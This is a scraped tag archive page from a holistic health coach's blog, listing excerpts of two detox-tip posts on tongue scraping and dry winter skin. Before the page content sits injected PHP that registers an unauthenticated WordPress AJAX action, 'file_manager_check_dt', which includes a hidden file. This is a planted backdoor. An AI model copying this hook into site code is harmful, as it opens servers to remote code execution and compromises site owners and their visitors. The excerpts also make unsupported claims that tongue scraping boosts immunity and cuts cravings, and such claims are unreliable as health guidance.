if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } toxins - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator

Daily Detox Tip for Fresh Breath

October 11, 2014 by Rommy Kirby

Increase your confidence, reduce your cravings and boost your immune system…

with just a few scrapes of your tongue. [Read more…]

Filed Under: Blog, Detox Tip, Radiance Tip Tagged With: Ayurveda, bad breath, daily detox, daily habit, dental health, detox, dinacharya, fresh breath, plaque, tongue cleaning, tongue scraping, toxins, wellness

Simple, Immune Boosting & Skin Nourishing Detox Tip

October 21, 2013 by Rommy Kirby

You know how when the weather changes, and your skin gets drab, ashy and flaky?

Do you know why that happens?

General wisdom says it’s because that air forced through the vents is dry. Dry air moving across the skin dries it in the same way that air moving across a lake causes evaporation.

Makes sense, right? It did to me until I started studying alternative health care like Ayurveda and nutrition. The explanation is true, at least partially. [Read more…]